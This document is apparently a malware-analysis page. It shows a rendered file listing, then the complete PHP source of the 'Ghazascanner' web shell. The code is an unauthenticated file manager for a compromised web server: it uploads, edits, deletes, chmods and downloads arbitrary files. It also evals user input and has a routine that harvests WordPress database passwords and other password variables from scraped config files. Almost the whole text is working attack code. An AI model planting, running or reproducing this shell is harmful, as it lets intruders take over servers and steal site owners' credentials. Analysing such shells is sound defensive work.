        <option value="rename">Rename</option>
        <option value="edit">Edit</option>
        <option value="download">Download</option>
        </select>
        <input type="hidden" name="type" value="file">
        <input type="hidden" name="name" value="MS5waHRtbA==">
        <input type="hidden" name="path" value="L3Zhci93d3cvaHRtbC8xLnBodG1s">
        <input type="submit" value=">">
        </form></td>
        </tr><tr>
        <td><a href="?path=L3Zhci93d3cvaHRtbA==&amp;filesrc=L3Zhci93d3cvaHRtbC9iZW5lcmkuc2VfbWFsd2FyZV9hbmFseXNpcw=="><div class="filename">beneri.se_malware_analysis</div></a></td>
        <td class="center">0 KB</td>
        <td class="center"><font color="">-rw-r--r--</font></td>
        <td class="center"><form method="POST" action="?path=L3Zhci93d3cvaHRtbA==&amp;option">
        <select name="opt">
        <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
        <option value="rename">Rename</option>
        <option value="edit">Edit</option>
        <option value="download">Download</option>
        </select>
        <input type="hidden" name="type" value="file">
        <input type="hidden" name="name" value="YmVuZXJpLnNlX21hbHdhcmVfYW5hbHlzaXM=">
        <input type="hidden" name="path" value="L3Zhci93d3cvaHRtbC9iZW5lcmkuc2VfbWFsd2FyZV9hbmFseXNpcw==">
        <input type="submit" value=">">
        </form></td>
        </tr></tbody></table></div></div><font color="red">@Ghazascanner</font>_2019minishell

</body></html>

Original PHP code

<?php


error_reporting(0);
set_time_limit(0);
extract(start());
if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
$_POST['path'] = (isset($_POST['path'])) ? g22b_crypt($_POST['path'],'de') : false;
$_POST['name'] = (isset($_POST['name'])) ? g22b_crypt($_POST['name'],'de') : false;
if(isset($_GET['option']) && $_POST['opt'] == 'download'){
    header('Content-type: text/plain');
    header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
    echo(file_get_contents($_POST['path']));
    exit();
}
echo '<!DOCTYPE html>
<html>
<head>
    <title>Ghazascanner_2019runbot</title>
    <h1><font color=red>@Ghazascanner</font>_2019runbot</h1>
    <meta name="robots" content="noindex" />
    <style>
        body{
            font-family: "Racing Sans One", cursive;
            background-color: #e6e6e6;
            text-shadow:0px 0px 1px #757575;
            margin: 0;
        }
        #container{
            width: 700px;
            margin: 20px auto;
            border: 1px solid black;
        }
        #header{
            text-align: center;
            border-bottom: 1px dotted black;
        }
        #header h1{
            margin: 0;
        }
        
        #nav,#menu{
            padding-top: 5px;
            margin-left: 5px;
            padding-bottom: 5px;
            overflow: hidden;
            border-bottom: 1px dotted black;
        }
        #nav{
            margin-bottom: 10px;
        }
        
        #menu{
            text-align: center;
        }
        
        #content{
            margin: 0;
        }
        
        #content table{
            width: 700px;
            margin: 0px;
        }
        #content table .first{
            background-color: silver;
            text-align: center;
        }
        #content table .first:hover{
            background-color: silver;
            text-shadow:0px 0px 1px #757575;
        }
        #content table tr:hover{
            background-color: #636263;
            text-shadow:0px 0px 10px #fff;
        }
        
        #footer{
            margin-top: 10px;
            border-top: 1px dotted black;
        }
        #footer p{
            margin: 5px;
            text-align: center;
        }
        .filename,a{
            color: #000;
            text-decoration: none;
            cursor: pointer;
        }
        .filename:hover,a:hover{
            color: #fff;
            text-shadow:0px 0px 10px #ffffff;
        }
        .center{
            text-align: center;
        }
        input,select,textarea{
            border: 1px #000000 solid;
            -moz-border-radius: 5px;
            -webkit-border-radius:5px;
            border-radius:5px;
        }
    </style>
    <script>
function Encoder(name)
{
    var e =  document.getElementById(name);
    e.value = btoa(e.value);
    return true;
}
</script>
</head>
<body>
    
    <div id="container">
        <div id="header"><h1><a href="?">Ghazascanner File Manager</a></h1></div>
        <br>server :'.php_uname().'<br>
        <div id="nav">
            <div class="path">Current Path : '.nav_link().'
            <form methdo="GET" onSubmit="Encoder(\'c\');"><font color=red>Path : </font><input type="text" id="c" size="40" name="path" value="'.$currentpath.'" /><input type="submit" value="Go" /></form></div><br />
            <div class="upload">
                <form enctype="multipart/form-data" method="POST" action="?path='.$currentpathen.'&up">
                Upload File : <input type="file" name="file" />
                <input type="submit" value="upload" />
                </form>
            </div>
            <div class="new">
                <form method="POST" action="?path='.$currentpathen.'&new" onSubmit="Encoder(\'kc\')">
                <span>New : </span><input name="name" type="text" size="10" id="kc" />
                File <input type="radio" name="type" value="file" checked/>
                Dir <input type="radio" name="type" value="dir" />
                <input type="submit" value="Create" />
                </form>
            </div>
        </div>
        <div id="content">';


        if(isset($_GET['filesrc'])){
            $file = g22b_crypt($_GET['filesrc'],'de');
            echo '<div class="center">'.htmlspecialchars($file).'</div><textarea cols="84" rows="25">'.filesrc($file).'</textarea></pre>';
        }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete' || (isset($_GET['new']) && $_POST['type'] == 'file')){

            echo '<div class="center">'.$_POST['name'].'<br />';
            
            if($_POST['opt'] == 'chmod'){
                if(isset($_POST['perm'])){
    
                    eval('$perm = '.$_POST['perm'].';');
                    if(chmod($_POST['path'],$perm)){
                        echo '<font color="green">Change Permission Done.</font><br />';
                        $permdone = true;
                    }else{
                        echo '<font color="red">Change Permission Error.</font><br />';
                    }
                }
                if($permdone){
                    $perm = $_POST['perm'];
                }else{
                    $perm = substr(sprintf('%o', fileperms($_POST['path'])), -4);
                }
                
                echo '<form method="POST">
                Permission : <input name="perm" type="text" size="4" value="'.$perm.'" />
                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
                <input type="hidden" name="opt" value="chmod">
                <input type="submit" value="Go" />
                </form>';
            }elseif($_POST['opt'] == 'rename'){
                
                if(isset($_POST['newname'])){
                    if(rename($_POST['path'],$currentpath.'/'.$_POST['newname'])){
                        echo '<font color="green">Change Name Done.</font><br />';
                        $_POST['name'] = $_POST['newname'];
                    }else{
                        echo '<font color="red">Change Name Error.</font><br />';
                    }
                }
                
                echo '<form method="POST">
                New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
                <input type="hidden" name="opt" value="rename">
                <input type="submit" value="Go" />
                </form>';
            }elseif($_POST['opt'] == 'edit' || isset($_GET['new'])){
                if(isset($_POST['src'])){
                    $fp = fopen($_POST['path'],'w');
                    if(fwrite($fp,base64_decode($_POST['src']))){
                        echo '<font color="green">Edit File Done.</font><br />';
                        $done = true;
                    }else{
                        echo '<font color="red">Edit File Error.</font><br />';
                    }
                    fclose($fp);
                }
                if(isset($_GET['new']) && !$done){
                    $filecontent = '';
                    $_POST['path'] = "$currentpath/$_POST[name]";
                }else{
                    $filecontent = filesrc($_POST['path']);
                }
                echo '<form method="POST" onSubmit="Encoder(\'cc\')">
                <textarea cols="84" rows="25" name="src" id="cc">'.$filecontent.'</textarea><br />
                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
                <input type="hidden" name="type" value="file" />
                <input type="hidden" name="opt" value="edit">
                <input type="submit" value="Go" />
                </form>';
            }
            
            echo '</div>';
        }else{
            echo '<div class="center">';
            if($_POST['opt'] == 'delete'){
                if($_POST['type'] == 'dir'){
                    if(rmdir($_POST['path'])){
                        echo '<font color="green">Delete Dir Done.</font><br />';
                    }else{
                        echo '<font color="red">Delete Dir Error.</font><br />';
                    }
                }elseif($_POST['type'] == 'file'){
                    if(unlink($_POST['path'])){
                        echo '<font color="green">Delete File Done.</font><br />';
                    }else{
                        echo '<font color="red">Delete File Error.</font><br />';
                    }
                }
            }elseif($_POST['type'] == 'dir' && isset($_GET['new'])){
                if(mkdir("$currentpath/$_POST[name]")){
                    echo '<font color="green">Create Dir Done.</font><br />';
                }else{
                    echo '<font color="red">Create Dir Error.</font><br />';
                }
            }elseif(isset($_FILES['file'])){
                $userfile_name = $currentpath.'/'.$_FILES['file']['name'];
                $userfile_tmp = $_FILES['file']['tmp_name'];
                if(move_uploaded_file($userfile_tmp,$userfile_name)){
                    echo '<font color="green">File Upload Done.</font><br />';
                }else{
                    echo '<font color="red">File Upload Error.</font><br />';
                }
            }
            echo '</div><table>
                <tr class="first">
                    <td>Name</td>
                    <td>Size</td>
                    <td>Permissions</td>
                    <td>Options</td>
                </tr>';
        
        $dirs = getfiles('dir');
        foreach($dirs as $dir){
        echo '<div id="dirs"><tr>
        <td><a href="?path='.$dir['link'].'"><div class="filename">'.$dir['name'].'</div></a></td>
        <td class="center">'.$dir['size'].'</td>
        <td class="center"><font color="'.$dir['permcolor'].'">'.$dir['perm'].'</font></td>
        <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
        <select name="opt">
        <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
        <option value="rename">Rename</option>
        </select>
        <input type="hidden" name="type" value="dir">
        <input type="hidden" name="name" value="'.g22b_crypt($dir['name'],'en').'">
        <input type="hidden" name="path" value="'.$dir['link'].'">
        <input type="submit" value=">" />
        </form></td>
        </tr>
        </div>';
        }
        echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
        
        $files = getfiles('file');
        foreach($files as $file){
            echo '<div id="files">
        
        <tr>
        <td><a href="?path='.$currentpathen.'&filesrc='.$file['link'].'"><div class="filename">'.$file['name'].'</div></a></td>
        <td class="center">'.$file['size'].'</td>
        <td class="center"><font color="'.$file['permcolor'].'">'.$file['perm'].'</font></td>
        <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
        <select name="opt">
        <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
        <option value="rename">Rename</option>
        <option value="edit">Edit</option>
        <option value="download">Download</option>
        </select>
        <input type="hidden" name="type" value="file">
        <input type="hidden" name="name" value="'.g22b_crypt($file['name'],'en').'">
        <input type="hidden" name="path" value="'.$file['link'].'">
        <input type="submit" value=">" />
        </form></td>
        </tr></div>';
        }
            echo '</table></div></div><font color=red>@Ghazascanner</font>_2019minishell';
        }

        echo '
</body>
</html>';

function getfiles($type){
    global $currentpath;
    $dir = scandir($currentpath);
    $result = array();
    foreach($dir as $file){
        $current['fullname'] = "$currentpath/$file";
        if($type == 'dir'){
            if(!is_dir($current['fullname']) || $file == '.' || $file == '..') continue;
        }elseif($type == 'file'){
            if(!is_file($current['fullname'])) continue;
        }
        
        $current['name'] = $file;
        $current['link'] = g22b_crypt($current['fullname'],'en');
        $current['size'] = (is_dir($current['fullname'])) ? '--' : file_size($current['fullname']);
        $current['perm'] = perms($current['fullname']);
        if(is_writable($current['fullname'])){
            $current['permcolor'] = 'green';
        }elseif(is_readable($current['fullname'])){
            $current['permcolor'] = '';
        }else{
            $current['permcolor'] = 'red';
        }
        
        $result[] = $current;
        
    }
    return $result;
}
function start(){
    global $_POST,$_GET;
    
    $result['currentpath'] = (isset($_GET['path'])) ? g22b_crypt($_GET['path'],'de') : cwd();
    $result['currentpathen'] = (isset($_GET['path'])) ? $_GET['path'] : g22b_crypt(cwd(),'en');
    
    return $result;
}
function file_size($file){
    $size = filesize($file)/1024;
    $size = round($size,3);
    if($size >= 1024){
        $size = round($size/1024,2).' MB';
    }else{
        $size = $size.' KB';
    }
    return $size;
}
function g22b_crypt($txt,$type){
    if(function_exists('base64_encode') && function_exists('base64_decode')){
        return ($type == 'en') ? base64_encode($txt) : base64_decode($txt);
    }elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){
        return ($type == 'en') ? strToHex($txt) : hexToStr($txt);
    }else{
        $ar1 = array('public_html','.htaccess','/','.');
        $ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb');
        return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt);
    }
}
function strToHex($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
function hexToStr($hex){
    $string='';
    for ($i=0; $i < strlen($hex)-1; $i+=2)
    {
        $string .= chr(hexdec($hex[$i].$hex[$i+1]));
    }
    return $string;
}
function nav_link(){
    global $currentpath;
    $path = $currentpath;
    $path = str_replace('\\','/',$path);
    $paths = explode('/',$path);
    $result = '';
    foreach($paths as $id=>$pat){
        if($pat == '' && $id == 0){
            $a = true;
            $result .= '<a href="?path='.g22b_crypt("/",'en').'">/</a>';
            continue;
        }
        if($pat == '') continue;
        $result .= '<a href="?path=';
        $linkpath = '';
        for($i=0;$i<=$id;$i++){
            $linkpath .= "$paths[$i]";
            if($i != $id) $linkpath .= "/";
        }
        $result .= g22b_crypt($linkpath,'en');
        $result .=  '">'.$pat.'</a>/';
    }
    return $result;
}
function filesrc($file){
    return htmlspecialchars(file_get_contents($file));
}
function cwd(){
    if(function_exists('getcwd')){
        return getcwd();
    }else{
        $e = str_replace("\\","/",$path);
        $e = explode('/',$path);
        $result = '';
        for($i=0;$i<count($e)-1;$i++){
            if($e[$i] == '') continue;
            $result .= '/'.$e[$i];
        }
        return $result;
    }
}
function passwdtouser($line){
    $user = explode(':',$line);
    return $user[0];
}
function ex($a,$b,$text){
    $explode = explode($a,$text);
    $explode = explode($b,$explode[1]);
    return trim($explode[0]);
}
function get_data($url){
    $ar = array('1.txt','2.txt','3.txt','4.txt','5.txt','6.txt','7.txt','8.txt','9.txt','0.txt');
    $src = file_get_contents($url);
    $files = explode('<a href="',$src);
    $data = array();
    foreach($files as $id=>$file){
        if($id == 0) continue;
    $file = explode('">',$file);
    $file = trim($file[0]);
    if(!eregi('.txt',$file)) continue;
    $src = file_get_contents("$url/$file");
    if(!$src) continue;
    $user = str_replace($ar,'',$file);
    $user = str_replace($ar,'',$user.'.txt');
    $user = str_replace($ar,'',$user.'.txt');
    $user = trim(str_replace('.txt','',$user));
    if(eregi("WordPress",$src)){
        $pass = ex("define('DB_PASSWORD', '","');",$src);
        $data[] = array($user,$pass);
    }else{
        $tokens = token_get_all($src);
        foreach($tokens as $token){
            if(!$token[1]) continue;
            $tokenname = token_name($token[0]);
            if($tokenname != 'T_VARIABLE') continue;
            $var = $token[1];
            if(eregi('pass',$var)){
                $f = str_replace(' ','',ex($var,';',$src));
                $a = trim(ex("='","'",$f));
                $b = trim(ex('"','"',$f));
                if($a != ''){
                    $pass = $a;
                }elseif($b != ''){
                    $pass = $b;
                }
                if($pass == '') continue;
                $data[] = array($user,$pass);
            }
        }
    }
    }
    return $data;
}
function perms($file){
    $perms = @fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}
?>